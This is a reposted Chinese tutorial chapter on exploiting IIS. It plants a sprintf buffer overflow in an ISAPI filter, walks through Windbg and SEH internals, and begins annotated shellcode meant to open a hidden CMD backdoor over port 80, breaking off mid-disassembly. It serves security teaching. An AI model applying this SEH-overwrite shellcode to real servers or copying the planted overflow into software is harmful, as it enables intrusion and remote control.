登录 用户中心() [退出] 后台管理 注册
   
您的位置: 首页 >> 程序员学前班[不再更新,只读] >> 主题: 第五章 Exploit Microsoft INTERNET INFORMATION SERVER [zt 太强了!]     [回主站]     [分站链接]
标题
第五章 Exploit Microsoft INTERNET INFORMATION SERVER [zt 太强了!]
我是马甲
浏览(0) + 2007-07-02 17:46:11 发表 编辑

关键字:

第五章 Exploit Microsoft INTERNET INFORMATION SERVER [zt 太强了!]

来自 http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1662

作者:莫大
日期:2002-12-02

引子:


我老早就想研究一下针对Microsoft Internet Information Server的各种Exploit,也着手收集了不少Exploit的黑客码,但是却静不下心来一步一步去Disassembly这些黑客码,一直到我的计算机们被CodeRed攻击的那天。大部分计算机都没有问题,但是有那么几个计算机刚被Codered占领,正在向随机IP地址发出一个又一个的HTTP请求;还有一个计算机大概到了Codered晚期,我居然在上面找到一个叫作root.exe的木马(Trojan)程序。反正折腾了好久好久,终於把Codered扫出了大门。痛定思痛,我终於决定气沉丹田,聚精会神一次去Disassembly这些病毒/病虫。

那一段时间主要研究了两个Exploit程序,第一个当然就是Codered,这个码虽然比较长,但是对照一下eeye(http://www.eeye.com)的说明还是可以搞清楚它的运作方式。现在大家也都知道了,IIS用到了一个动态联结库idq.dll,这个idq.dll是提供Index服务的ISAPI Extension;Codered就利用这个dll中的缓冲区溢出来运行它的黑客码,进而去传染更多的计算机。第二个Exploit----jill不太有名,因为它没有“生殖功能”,不能自我复制去传染其它的计算机,它利用了另外一个动态联结库msw3prt.dll的缓冲区溢出去运行它的黑客码;这个msw3prt.dll是实现网络打印协议(Internet Printing Protocol)的ISAPI Extension。另外在http://www.eeye.com网站上还有一个也是针对msw3prt.dll缓冲区溢出的比较简单的Exploit,我建议你们不妨也看看。

在分析完这两个Exploit后,我尝试着揉合了它们的一些Exploit技巧,再加上我自己的一些想法作了下面一个Exploit,希望大家看了以后能够对这种类型的黑客码有一个初步了解。


ISAPI 背景知识介绍:


先来一点Internet Service API的简介,如果你们已经熟悉这方面的内容,请跳到下面
一节。

大家知道,作为World Wide Web的重要一环,Web Server为HTTP请求提供服务,最初它
只是返回简单的固态HTML文件,以后随着网络逐渐深入到各个领域,随着越吹越大的
.COM泡泡,对Web Server的要求也越来越多:要它提供动态的网页(象Microsoft的
ASP),要它能支持网络打印协议(Internet Printing Protocol),要它提供加密解密功能等等等等,而且这些要求将来还会继续增加。怎样才能应付这些五花八门的要求呢?很显然的一步就是把服务这些要求的代码与Web Server中分离出去,把它们模块化。当Web Server收到这些五花八门的HTTP请求时,它并不处理,而是把这些HTTP请求转给对应于这个请求的模块处理。这样的好处在于每增加一个新的要求,就可以很方便地增加一个模块满足它,而Web Server不需要有改动。另外一个好处是可以让这些模块在不同于Web Server的进程中运行,既增加了安全性,也增加了Scalability。当然,这些模块需要按照规定好的界面来编写,对于Microsoft Web Server来说,这些界面就是Internet Service API(ISAPI)。

Microsoft的ISAPI有两种:ISAPI Extension和ISAPI Filter。顾名思义,ISAPI
Extension是Web Server的功能扩展,它能独立支持某一项HTTP请求,比如.printer支持
网络打印协议的请求;而ISAPI Filter需要依附于Web Server,它并不独立支持HTTP请
求,而是搞些来料加工的杂事,比如说对数据解密、加密呀,对HTTP请求进行记录
(log)呀什么的。

这两种ISAPI都编译成动态联结库(dll),其中ISAPI Extension的dll既可以载入Web Server进程中运行,也可以载入独立于Web Server外的进程中运行----这是可以理解的,毕竟ISAPI Extension功能相对复杂,需要用的CPU时间、内存都多,够得上级别享受一个独立的进程;ISAPI Extension还有第三种运行模式叫Pooled Application Protection Model,那是前两种模式相互妥协的产物,我就懒得去说它了。而ISAPI Filter相对来说还是简单,它的dll只能载入Web Server进程中,共享Web Server有限的资源。

如果你象我一样,用C++来编写ISAPI程序,而不用Microsoft Foundation Class,那么
你的ISAPI Extension必须实现(Implement)以及输出(Export)三个函数:
GetExtensionVersion,
HttpExtensionProc,
TerminateExtension。
与此类似,ISAPI Filter也必须实现以及输出三个函数:
GetFilterVersion,
HttpFilterProc,
TerminateFilter。

不论是你自己编写编译的ISAPI动态联结库,还是买来的ISAPI动态联结库,都需要在
Internet Service manager中把它们定义以后才能被Microsoft Web Server使用。我的
机器Dallas运行Windows 2000 Server,在dallas上定义ISAPI Extension的步骤是:
Start
=> Programs
=>Administrative Tools
=>Internet Service Manager
在Internet Service Manager启动后,右击(Right Click) Default Web Site
=> 选Properties
=>Home Directory
=>Application Setting
在Application Setting中点击Configuration,你可以看到一大堆的Application Mapping,包括被Codered Exploit的.ida/.idq的定义以及被jill所Exploit的.printer的定义;你就在这里增加、删减或修改你的ISAPI Extension定义。

定义ISAPI Filter的步骤与此类似,在Internet Service Manager启动后,右击(Right Click) Default Web Site
=> 选Properties
=>ISAPI Filters
你就在这里增加、删减或修改你的ISAPI Filter定义。

以上是关于ISAPI的简介,其实ISAPI也就这么一点点东西,不相信的话你们可以去网上、
书上查查看。说到这里,我想起一个事来,有一段时间我在Windows机器上调试一个叫Siteminder的软件包,它是一个叫NETEGRITY的公司编写的,用于保护网站的安全。我印象中的它就是使用ISAPI Filter,它在Microsoft的Web Server处理任何HTTP请求之前,先把这个请求拦截下来,检查一下发出这个请求的Client能否被Authenticated、这个Client是否有足够的权限访问某个网页、被访问的网页是否存在等等。我当时对这个Siteminder的感觉是:不论是设置还是编写,都不会很困难。后来我在一个求职网站上却看到有的公司高薪聘请设置Siteminder的技术人员(合同工),付的钱还不少,好象是$10000美元/月左右----真是笑话!你们看看美国公司的钱还是很好挣的吧!


Vulerable ISAPI Filter


这一章我将制作一个简单的ISAPI Filter,它唯一的功能就是对HTTP请求进行记录(Logging),我在这个ISAPI Filter中设置了一个Buffer溢出的缺陷。好!闲话少说,清谈误国,下面就是这个ISAPI Filter----Logger.cpp:


<========================Logger.cpp===========================>

#include
#include
#include
#include
#include
#include



BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
return TRUE;
}


BOOL WINAPI __stdcall
GetFilterVersion(HTTP_FILTER_VERSION * pVer)
{
//set the flags and request the notications that we need for this to work

pVer->dwFlags = (SF_NOTIFY_SECURE_PORT |
SF_NOTIFY_NONSECURE_PORT |
SF_NOTIFY_ORDER_LOW |
//SF_NOTIFY_SEND_RESPONSE |
//SF_NOTIFY_END_OF_NET_SESSION |
SF_NOTIFY_LOG
);

pVer->dwFilterVersion = HTTP_FILTER_REVISION;
strcpy( pVer->lpszFilterDesc, "Server Type Changer");
return TRUE;
}

DWORD WINAPI __stdcall
HttpFilterProc(HTTP_FILTER_CONTEXT * pfc, DWORD notificationType,
VOID * pvNotification)
{

PHTTP_FILTER_LOG pLogData;
OutputDebugString("Entered HttpFilterProc\n");

switch (notificationType)
{
case SF_NOTIFY_LOG:
{
OutputDebugString("HttpFilterProc:Logging\n");

TCHAR sz[256];

pLogData = (PHTTP_FILTER_LOG)pvNotification;
sprintf(sz, "Client Machine: %s , Username: %s, Server\
Machine: %s, Target Path: %s\n", \
pLogData->pszClientHostName,pLogData->pszClientUserName,\
pLogData->pszServerName, pLogData->pszTarget );

}
break;
default:
OutputDebugString("HttpFilterProc:Default\n");
break;

}


return SF_STATUS_REQ_NEXT_NOTIFICATION;
}


<=============================================================>


它输出两个函数: 第一个函数GetFilterVersion告诉IIS它对发生在SECURE_PORT(安全
端口)以及NONSECURE_PORT(非安全端口)的事件SF_NOTIFY_LOG感兴趣,这样IIS在作
HTTP记录(logging)前就必须通知我们这个Filter;这个Filter具有低优先级---- SF_NOTIFY_ORDER_LOW(),也就是说,如果IIS还有其他的较高优先级的Filter,IIS会优先通知较高优先级的Filter,让那些Filter先执行,然后才轮到我们的Filter。当我们的Filter最终接收到IIS的通知时,就由第二个输出函数HttpFilterProc负责处理。你们可以看到,在HttpFilterProc对事件SF_NOTIFY_LOG的处理中,用了不安全的函数sprintf,这个函数不检查输入参数的长度,只知道一个劲地往缓冲区sz充填格式化字符串,所以在输入参数pszClientHostName、pszClientUserName、pszServerName或者pszTarget中,任何一个足够长就会让缓冲区sz溢出。在下面的Exploit中,我们就要产生一个足够长的参数pszTarget,让缓冲区sz溢出。

把这个程序编译成动态联结库logger.dll,然后根据前面讲的方法在Internet Service
manager中把它定义成ISAPI Filter(见下图)。



在介绍Exploit之前,让我们放慢前进的步伐,因为我们还要再作一些知识准备:那就是如何安装及设置Microsoft的Debugger----Windbg,以及Windows操作系统处理Exception 的一种方法----Structured Exception Handling(SEH)。


Windbg的安装与设置:


听说Windbg以前的版本有很多毛病,但是我所用的Version 5的Windbg非常的Powerful,
既有很好的用户界面,又有足够多的功能,大概是我所用过的最好的Debugger。我们在
Windows环境下编程序用的Visual Studio Debugger只具有User Mode的权限,而Windbg则为User Mode和Kernel Mode两栖Debugger,有更高的权限,可以提供更多的Debugging信息。GNU的gdb的用户界面就比不上Windbg,有一次我甚至发现它的某些版本没法切换Thread,真是失望!只是这个gdb主要流行于Linux、Unix操作系统,而且是免费使用,所以Microsoft拿它没办法。Solaris操作系统上的adb(我在前面第二章用到了它)大概是石器时代的人编写的,用起来很不方便,而且功能不如Windbg、gdb。据说Solaris新的程序开发集成环境SunOne有很强的Debugging Tools,可惜我尚无缘尝试。

我是从MSDN CD Windows 2000 Customer Support--Diagnostic Tools中安装Windbg的,
你也可以从Windows 2000 DDK CD或者Microsoft Platform SDK CD中安装它。从同一张
CD中我还安装了其他Debugging Tools象i386kd(Kernel Debugger),cdb(Console
Debugger),UserDump(可以Dump进程内存)以及一大堆符号(Symbol)文件--这是作Debugging必不可少的,它们提供了Windows操作系统中各个动态联结库(dll)所用的函数Symbol,变量Symbol等。

安装好了Windbg,请把它启动,我们需要作一些基本的设置。

1。从View => Options打开Windows Debugger Option对话框:

在选项Source Files=> Search Order输入源程序路径,因为我们要跟踪Filter logger 被攻击时的运行情况,所以在这里输入它的路径:D:\MyJob\securitylab\ISAPI。

在选项Call Stack=> Display Options设置Call Stack的显示格式,在这里你可以根据需要随时改变Call Stack输出的内容。我先选择Frame Pointer, Return Address, Function Name, Module Name。

在选项Symbols =>Debug Symbol Search Path中输入符号文件路径,符号文件的缺省安装路径是%SystemRoot%\symbols,在机器dallas上为D:\WINNT\Symbols。注意对话框还有选项Transport Layer支持远程(Remote) Debug, 选项Kernel Debugger支持Kernel Debug,但是我们这一章不用它们。

2。从Debug=>Exceptions打开Exceptions对话框:

对Exception List中所有的Exception,Actions选项均选择Enabled。这样当任何一个Exception发生时,比如说发生Access Violation(内存访问出错),Windbg会得到First Chance(第一次机会)处理这个Exception。假如Actions选项选Ignore或者Notify的话,将由被Debugged的进程(就是inetinfo)得到First Chance处理这个Exception,我们根本就没有机会观察在Exception发生那一瞬间的寄存器状态,内存状态等等。另外注意,在同一Exceptions对话框中,我并没有指定任何First Chance Command,所以Windbg在得到First Chance处理Exception时,唯一能作的事就是停在出错的指令处,等着Windbg的操盘手----我们来决定如何处理这个Exception,这时我们就可以跳进去研究进程的各种状态信息。

Windbg有非常丰富的命令,有一些就象“回”字的第N种写法一样,你可能一辈子都不会用到。而且,象Microsoft的其它软件一样,它的许多命令也可以直接用鼠标从Graphical User Interface(GUI)调用。所以呢,我就不专门介绍它们了,我将在后面Exploit时根据需要介绍所用的命令。

下面再补充一点关于Symbol(符号)方面的东东,这对我们后面编写及Debug汇编程序很重要。上一章提到_stdcall类型的函数,它的函数名符号具有_symbol@N的模式,符号@后面的N为所有输入参数的总字节,在调用_stdcall函数前,这些输入参数需要由右向左压入堆栈。Windows系统中的执行程序或动态联结库还有另外两种类型的函数:第一种是_cdel函数,它的函数名符号具有_symbol模式,注意它的符号中并没有标出输入参数总字节数,在调用_cdel函数前它的输入参数需要由右向左压入堆栈。第二种类型的函数是_fastcall函数,它的函数名符号具有@symbol@N模式,符号@后面的N为所有输入参数的总字节数;但与_stdcall及_cdel函数不同的是,_fastcall的前两个输入参数(由右向左数过来)将通过寄存器传给_fastcall函数(第三个及以后的参数仍然通过堆栈传递),由于是通过寄存器传递输入参数,被调用的_fastcall函数不需要读取内存来取得输入参数,所以调用的速度比_stdcall和_cdel快。

你们还会经常看到有的函数名具有_imp_symbol,_imp_symbol@N, _imp_@symbol@N的模式,这些分别是需要从其他库文件中输入的_cdel,_stdcall,_fastcall函数。


关于Structured Exception Handling:


在上一章里面,我们通过覆盖被调用函数返回地址的方法把进程运行方向指向我们的黑客码,不过我看到很多在Windows下的Exploit都利用覆盖Exception Handler的方法来取得进程的控制权,象前面提到的jill就是这样:它向Microsoft IIS发出一个的长字符串,这个字符串在溢出ms3prt.dll中的缓冲区后仍然马不停蹄地向前冲,一直到Exception Handler被覆盖为止。所以我决定这一章也如法泡制,向Exception Handler开炮!!

我们知道在C++语言里,处理Exception的方法可以简写成:

try{
可能出错的代码
}
catch(某种Exception class)
{
处理某种Exception class的代码
}

但是我这里要说另外一种处理Exception的方法:Structured Exception Handling,或者简写为SEH。在后面反汇编ISAPI Filter程序logger时,大家可以看到它是按SEH的方法来设置Exception Handler的。下面是一个SEH的语法例子:

_try{
__try {
可能出错的代码
}
__except(filter_i)
{
处理Exception 的代码
}
__except(filter_i1)
{
处理Exception 的代码
}

在C++中被catch的Exception是class类型,但SEH中却不一样,它被_except的filter必须是整数类型。根据EXCPT.H中的定义,SEH中的filter可以有下面的值:
/*
* Legal values for expression in except().
*/

#define EXCEPTION_EXECUTE_HANDLER 1
#define EXCEPTION_CONTINUE_SEARCH 0
#define EXCEPTION_CONTINUE_EXECUTION -1

其中EXCEPTION_EXECUTE_HANDLER表示当前_except要处理这个Exception,而且在处理完这个Exception后程序即终止(Terminated);EXCEPTION_CONTINUE_SEARCH表示当前的_except(比如说上面的__except(exception i) )不处理这个Exception,请往下继续找其他的_except(比如说__except(exception i1) )来处理这个Exception;最后一个EXCEPTION_CONTINUE_EXECUTION表示希望程序不要大惊小怪,请忽略这个Exception,继续执行下去。

SEH中还用到_finally和_leave,不过它们不是我们关心的焦点,先放在一边。有兴趣的朋友自己找书看看。

我们结合实例来分析一下SEH在汇编语言那一级是如何设置它的Exception Handler的,请看下面的程序:

<=========================exception.cpp==============================>

// exception.cpp : Defines the entry point for the console application.
//
#include
#include
#include

DWORD FilterFunction()
{
printf("In Filter \n"); // printed first
return EXCEPTION_EXECUTE_HANDLER;
//return EXCEPTION_CONTINUE_SEARCH;
}

VOID main(VOID)
{
__try
{
RaiseException(1, // exception code
0, // continuable exception
0, NULL); // no arguments

}
__except ( FilterFunction() )
{
printf("Do Nothing\n"); // this is printed last
}
}

<====================================================================>

程序exception.cpp故意在_try{}中用函数RaiseException产生一个Exception,於是由__except后面圆括号里的FilterFunction()来决定是否处理这个Exception。由于FilterFunction()的返回值为EXCEPTION_EXECUTE_HANDLER,也就是说__except可以处理这个Exception,所以__except后面花括号中的代码将被执行(也就是执行printf函数),最后程序终止。

我们把这个exception.cpp在Microsoft Visual Studio编译好,这里我先要提醒大家一句:由于我们是用VC++的编译器编译这个程序,VC++在实现Structured Exception Handling时作了一些VC++特有的处理,所以你们看到的SEH已经不是原汁原味了;下面我只着重介绍原汁原味的那一部分,如果你们想知道SEH在VC++中的全貌,我推荐
Microsoft Systems Journal在1997年一月的一篇文章<>。

编译好了程序exception以后在Visual Studio中按F10进入Debug模式,然后打开它的反汇编码窗口。下面是在我的机器Dallas上反汇编的结果,在你们的机器上反汇编出来的指令地址可能不太一样:


15:
16: VOID main(VOID)
17: {
00401070 push ebp
00401071 mov ebp,esp
00401073 push 0FFh
00401075 push offset string "Do Nothing\n"+14h (00420040)
/*
以上是刚进入main函数时系统的一些设置。
*/
0040107A push offset __except_handler3 (004012e0)
0040107F mov eax,fs:[00000000]
00401085 push eax
00401086 mov dword ptr fs:[0],esp
/*
这里系统设置当前Thread的_EXCEPTION_REGISTRATION_RECORD结构:在fs:[0]中有函数的_EXCEPTION_REGISTRATION_RECORD结构的指针,先把它存入堆栈,然后往fs:[0]中存入指向当前Thread的_EXCEPTION_REGISTRATION_RECORD结构指针。

这个_EXCEPTION_REGISTRATION_RECORD结构对应着程序的_except部分。
*/
0040108D add esp,0B8h
00401090 push ebx
00401091 push esi
00401092 push edi
00401093 mov dword ptr [ebp-18h],esp
00401096 lea edi,[ebp-58h]
00401099 mov ecx,10h
0040109E mov eax,0CCCCCCCCh
004010A3 rep stos dword ptr [edi]
18: __try
004010A5 mov dword ptr [ebp-4],0
19: {
20:
21: RaiseException(1, // exception code
22: 0, // continuable exception
23: 0, NULL); // no arguments
004010AC mov esi,esp
004010AE push 0
004010B0 push 0
004010B2 push 0
004010B4 push 1
004010B6 call dword ptr [__imp__RaiseException@16 (0042519c)]
/*
__imp__RaiseException@16表示RaiseException需要从其他的动态联结库输入,它是一个_stdcall函数,总共有16个字节的输入参数。
*/
004010BC cmp esi,esp
004010BE call __chkesp (004011b0)
24:
25: }
004010C3 mov dword ptr [ebp-4],0FFFFFFFFh
004010CA jmp $L53859+17h (004010e9)
26: __except ( FilterFunction() )
004010CC call @ILT+5(FilterFunction) (0040100a)
$L53860:
004010D1 ret
$L53859:
004010D2 mov esp,dword ptr [ebp-18h]
27: {
28: printf("Do Nothing\n"); // this is printed last
004010D5 push offset string "Do Nothing\n" (0042002c)
004010DA call printf (00401130)
004010DF add esp,4
29: }
004010E2 mov dword ptr [ebp-4],0FFFFFFFFh
30: }
004010E9 mov ecx,dword ptr [ebp-10h]
004010EC mov dword ptr fs:[0],ecx
/*
程序将要结束运行,把前一个_EXCEPTION_REGISTRATION_RECORD结构指针恢复到fs:[0]中。
*/
004010F3 pop edi
004010F4 pop esi
004010F5 pop ebx
004010F6 add esp,58h
004010F9 cmp ebp,esp
004010FB call __chkesp (004011b0)
00401100 mov esp,ebp
00401102 pop ebp
00401103 ret


在上面的汇编程序中多处用到了fs:[00000000],有的朋友也许知道那实际上是当前Thread的Thread Information Block(TIB)结构的起始地址。在头文件winnt.h和ntddk.h中,我们可以找到TIB结构的定义:

//
// NT_TIB - Thread Information Block - Portable part.
//
// This is the subsystem portable part of the Thread Information Block.
// It appears as the first part of the TEB for all threads which have
// a user mode component.
//
//

// begin_winnt

typedef struct _NT_TIB {
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList;
PVOID StackBase;
PVOID StackLimit;
PVOID SubSystemTib;
union {
PVOID FiberData;
ULONG Version;
};
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self;
} NT_TIB;
typedef NT_TIB *PNT_TIB;
//

大家可以看到,TIB结构的第一个member就是_EXCEPTION_REGISTRATION_RECORD指针。在TIB结构中,还保存有当前Thread的其他信息,这里就忽略不计了。

在上面的汇编程序中,从地址0X0040107A到0X00401086的指令在堆栈中设置了一个_EXCEPTION_REGISTRATION_RECORD结构,并把这个结构的指针存入fs:[00000000]。_EXCEPTION_REGISTRATION_RECORD结构包括两个指针:第一个指针(从地址fs:[00000000]取得)指向前一个_EXCEPTION_REGISTRATION_RECORD结构,而前一个_EXCEPTION_REGISTRATION_RECORD结构的第一个指针又指向更前一个_EXCEPTION_REGISTRATION_RECORD结构,这样所有的_EXCEPTION_REGISTRATION_RECORD 就形成了一个链(link)。_EXCEPTION_REGISTRATION_RECORD的第二个指针指向一个叫做__except_handler3的函数,这个函数是VC++特有的Exception Handler;在程序运行发生Exception时,它会马上跳到__except_handler3执行,然后由__except_handler3作一些初步处理后才转去执行_except花括号里面的代码(在我们的例子中,花括号里面只有printf函数)。

讲到这里,我想大家也应该明白了:这个__except_handler3指针就是本章进攻的目标,我们将用指向黑客代码的指针去覆盖它。因为字符串在覆盖__except_handler3指针的同时还会覆盖掉很多重要的系统调用信息,所以程序在运行时肯定会产生Exception (最有可能的就是访问出错---- Access Violation),於是系统将迫使程序处理Exception,也就是企图运行函数__except_handler3,但是这个可怜的家伙没想到,这个函数__except_handler3的指针已经被修改成黑客码指针,所以处理Exception就变成执行黑客码。

在结束有关SEH的内容之前,让我们来作一个小试验:
如果我们让源程序exception.cpp中的FilterFunction返回EXCEPTION_CONTINUE_SEARCH 而不是EXCEPTION_EXECUTE_HANDLER,程序运行会有什么结果?先修改源程序exception.cpp、再编译好、运行、BANG!!!!!,我们得到一个Message Box:



为什么会是这样的结果呢?FilterFunction返回EXCEPTION_CONTINUE_SEARCH表示当前的_EXCEPTION_REGISTRATION_RECORD(它对应源程序中_except部分)不能处理这个Exception;於是系统沿着_EXCEPTION_REGISTRATION_RECORD的链结去找前一个_EXCEPTION_REGISTRATION_RECORD,看它能不能处理这个Exception;这样一直找下去的结果,或者是找到能处理这个Exception的_EXCEPTION_REGISTRATION_RECORD,或者是找到链结的最后,由系统的缺省Exception Handler处理,这象我们这个试验的情况。系统的缺省Exception Handler就是扔出一个Message Box,告诉你一些出错信息。


Exploit IIS 第一步----Vulerable ISAPI Filter的内存分配


如果前面的知识准备你都完成了的话,相信你已经武装到牙齿了,我们可以一步一步研究Exploit Vulnerable IIS的方法,或者更准确的说,研究Exploit Vulerable ISAPI Filter的方法。第一步,我们将研究Filter logger的内存分配情况。

启动我们刚安装好的Windbg,从Debug=>Attach to a Process=>打开Attach to a Process对话框,从对话框中选择进程inetinfo.exe让Windbg去Attach(你也可以使用命令“.attach pid”来实现Attach)。inetinfo.exe是一个很复杂的进程,所以这个Attach要多花几秒钟。在Attach后,从Debug=>Go让程序继续运行。

从File=>Open Source File打开源程序D:\MyJob\securitylab\ISAPI\Logger.cpp(也可以用命令“.open D:\MyJob\securitylab\ISAPI\Logger.cpp”打开源程序)。

我们需要让程序运行到logger时暂停下来,以方便观察内存的情况。从Edit=> Breakpoints=>打开Breakpoints对话框,在源程序的第54行设置断点,第54行就是:
......
pLogData = (PHTTP_FILTER_LOG)pvNotification;
......
(命令为bp0 {,logger.cpp,logger.dll}@54 /H0)。

现在inetinfo.exe就在Windbg的监控下运行,准备服务HTTP请求。接下来,我在同一台计算机dallas上启动MS Internet Explorer(当然你也可以从网络上其它计算机启动Explorer),键入URL“http://dallas/index.htm” 再按Enter。就在那一瞬间,你可以看到Windbg一闪一闪的,这是因为程序已经运行到第54行的断点。

回到Windbg中,程序正停留在第54行,等着用户输入下一个命令。下面是我在Windbg的命令(Command)窗口操作的过程,目的是为了了解logger的内存分配情况:

> DD sz
0x00EFF500 cccccccc cccccccc cccccccc cccccccc ................
0x00EFF510 cccccccc cccccccc cccccccc cccccccc ................
0x00EFF520 cccccccc cccccccc cccccccc cccccccc ................
0x00EFF530 cccccccc cccccccc cccccccc cccccccc ................
/*
DD sz表示Double Word显示缓冲区sz的内容。
缓冲区sz属于非初始化变量,所以系统用0XCCCCCCCC充填;注意它的起始地址是0x00EFF500。
*/
> DD fs:0
0x0038:0x0000 00efffdc 00f00000 00efd000 00000000 ................
0x0038:0x0010 00001e00 00000000 7ffd6000 00000000 .........`......
0x0038:0x0020 0000066c 00000528 00000000 00000000 l...(...........
0x0038:0x0030 7ffdf000 000003e5 00000000 00000000 ................
/*
DD fs:0表示Double Word显示Thread Information Block(TIB)的内容。TIB的第一个member就是_EXCEPTION_REGISTRATION_RECORD的指针0X00efffdc。

我们再看看这个_EXCEPTION_REGISTRATION_RECORD的内容:
*/
> DD efffdc
0x00EFFFDC ffffffff 77ea13fd 77e9c008 00000000 .......w...w....
0x00EFFFEC 00000000 00000000 6d70175a abcdef01 ........Z.pm....
0x00EFFFFC 00000000 ???????? ???????? ???????? ....????????????
0x00F0000C ???????? ???????? ???????? ???????? ????????????????
0x00F0001C ???????? ???????? ???????? ???????? ????????????????
0x00F0002C ???????? ???????? ???????? ???????? ????????????????
0x00F0003C ???????? ???????? ???????? ???????? ????????????????
0x00F0004C ???????? ???????? ???????? ???????? ????????????????
/*
我们说过_EXCEPTION_REGISTRATION_RECORD结构有两个指针:第一个指针应该指向前一个_EXCEPTION_REGISTRATION_RECORD,但是这里这个指针的值为0xffffffff,我不太清楚它的含义;第二个指针0X77ea13fd应该是Exception Handler,对于用VC++编译而成logger,Exception Handler应该就是__except_handler3函数。我们可以把从0X77ea13fd开始的内容反汇编如下:
*/
> u 77ea13fd
KERNEL32!__except_handler3+0x0:
77EA13FD 55 push ebp
77EA13FE 8BEC mov ebp,esp
77EA1400 83EC08 sub esp,8
77EA1403 53 push ebx
77EA1404 56 push esi
77EA1405 57 push edi
77EA1406 55 push ebp
77EA1407 FC cld
>
/*
u 77ea13fd表示反汇编从77ea13fd开始的指令,它果然就是__except_handler3。
*/


从上面的分析中我们可以看到,缓冲区sz的起始地址在0x00EFF500,而我们需要覆盖的Exception Handler指针在0xefffe0,所以我们用于造成溢出的字符串长度必须达到0xefffe0-0xEFF500=0xae0=2784字节。这个长度足够我们写很复杂的黑客码。


Exploit IIS 第二步----黑客行动


现在我们有了足够的内存空间,而我们是从来也不缺少时间的----因为我们是早上八九点钟的太阳,我们所需要的只是足够的想象力来实施我们的黑客行动:这一章我们的黑客码将依附着Microsoft IIS产生一个隐藏式的CMD shell,同时把IIS进程中的一个dll ---- msw3prt.dll修改成CMD shell与外界通话的渠道。这样我们就可以通过Internet Explore或者Netscape的URL向秘密渠道传递命令到CMD shell,而CMD shell执行完命令后把结果通过同一渠道返回给Internet Explore或者Netscape。注意我们的Exploit是在Port 80上进行的,所以防火墙(Firewall)也防不住这个Exploit。

下面的黑客码从地址0x00EFFCC9到0x00EFFE57之间是可执行指令,紧跟着的是函数指令表(从0x00EFFE58开始),这些函数的起始地址将先被解决(Resolve),然后我们的黑客码就可以从指令表中调用这些函数。使用函数指令表是Windows上Exploit常见的技巧。

下面请大家跟着我的注释来分析这些汇编指令:

00EFFCC9 E985010000 jmp 00EFFE53
00EFFCCE 5A pop edx
/*
经过上面的jmp指令以及地址0X00EFFE53的call指令后,call指令后面的函数指令表(Instruction Table)的起始地址被存入堆栈中,而pop edx就会把这个地址再从堆栈中弹入寄存器edx。这样我们就得到了指令表(Instruction Table)的起始地址。
*/
00EFFCCF B80000F177 mov eax,offset __except_list+2F000h
/*
符号__except_list在这里没什么意义,忘记它----就象忘记你的前任女朋友那样。这里我们只是把0X77f10000存入寄存器eax。
*/
00EFFCD4 81384D5A9000 cmp dword ptr [eax],905A4Dh
00EFFCDA 7403 je 00EFFCDF
00EFFCDC 48 dec eax
00EFFCDD EBF5 jmp 00EFFCD4
/*
大家知道,Windows操作系统下的执行文件或动态联结库具有Portable Executable格式,这种格式的文件以905A4Dh开始,所以找到905A4Dh就意味着找到了文件的起始地址。你们不妨用HexEditor打开一个PE格式的dll或exe看看,除了这个905A4Dh之外,PE格式中还有很多有趣的Information。

上面的指令从0X77f10000开始向低地址方向寻找905A4Dh,最先找到的905A4Dh属于动态联结库kernel32,结果寄存器eax将指向动态联结库kernel32的起始地址。我所用的kernel32的起始地址为0x77e80000。我们可以在命令(Command)窗口核实一下:
*/
> dd 77e80000
0x77E80000 00905a4d 00000003 00000004 0000ffff MZ..............
0x77E80010 000000b8 00000000 00000040 00000000 ........@.......
0x77E80020 00000000 00000000 00000000 00000000 ................
0x77E80030 00000000 00000000 00000000 000000d0 ................
0x77E80040 0eba1f0e cd09b400 4c01b821 685421cd ........!..L.!Th
0x77E80050 70207369 72676f72 63206d61 6f6e6e61 is program canno
0x77E80060 65622074 6e757220 206e6920 20534f44 t be run in DOS
0x77E80070 65646f6d 0a0d0d2e 00000024 00000000 mode....$.......
/*
之所以要寻找kernel32的起始地址,是因为kernel32.dll输出函数getprocAddress,我们要想得到getprocAddress在内存中的地址,需要从kernel32的起始地址开始计算(计算过程在下面)。如果你问我为什么要得到getprocAddress的地址,我不告诉你!你跟着往下面看就会慢慢地知道原因。
*/
00EFFCDF 8BD8 mov ebx,eax
00EFFCE1 8B733C mov esi,dword ptr [ebx+3Ch]
00EFFCE4 03F3 add esi,ebx
00EFFCE6 8B7678 mov esi,dword ptr [esi+78h]
00EFFCE9 03F3 add esi,ebx
00EFFCEB 8B7E20 mov edi,dword ptr [esi+20h]
00EFFCEE 03FB add edi,ebx
00EFFCF0 8B4E14 mov ecx,dword ptr [esi+14h]
00EFFCF3 33ED xor ebp,ebp
00EFFCF5 56 push esi
00EFFCF6 57 push edi
00EFFCF7 51 push ecx
00EFFCF8 8B3F mov edi,dword ptr [edi]
00EFFCFA 03FB add edi,ebx //把输出函数名表起始地址存人edi
00EFFCFC 8BF2 mov esi,edx //指令表起始地址存入esi
00EFFCFE B90E000000 mov ecx,0Eh //函数getprocAddress长度为0Eh
00EFFD03 F3A6 repe cmps byte ptr [esi],byte ptr [edi]
00EFFD05 7408 je 00EFFD0F
00EFFD07 59 pop ecx
00EFFD08 5F pop edi
00EFFD09 83C704 add edi,4
00EFFD0C 45 inc ebp
00EFFD0D E2E7 loop 00EFFCF6
00EFFD0F 59 pop ecx
00EFFD10 5F pop edi
00EFFD11 5E pop esi
00EFFD12 8BCD mov ecx,ebp
00EFFD14 8B4624 mov eax,dword ptr [esi+24h]
00EFFD17 03C3 add eax,ebx
00EFFD19 D1E1 shl ecx,1
00EFFD1B 03C1 add eax,ecx
00EFFD1D 33C9 xor ecx,ecx
00EFFD1F 668B08 mov cx,word ptr [eax]
00EFFD22 8B461C mov eax,dword ptr [esi+1Ch]
00EFFD25 03C3 add eax,ebx
00EFFD27 C1E102 shl ecx,2
00EFFD2A 03C1 add eax,ecx
00EFFD2C 8B00 mov eax,dword ptr [eax]
00EFFD2E 03C3 add eax,ebx
/*
通过上面一堆眼花缭乱的指令我们计算出函数getprocAddress在内存中的地址为0x77E9564B。指令所用的算法是特别针对Portable Executable格式的。
*/
00EFFD30 8BF2 mov esi,edx
00EFFD32 8BFE mov edi,esi
00EFFD34 8BD0 mov edx,eax //edx=0x77E9564B
00EFFD36 B90C000000 mov ecx,0Ch //共需要解决12个函数地址
00EFFD3B E800010000 call 00EFFE40
/*
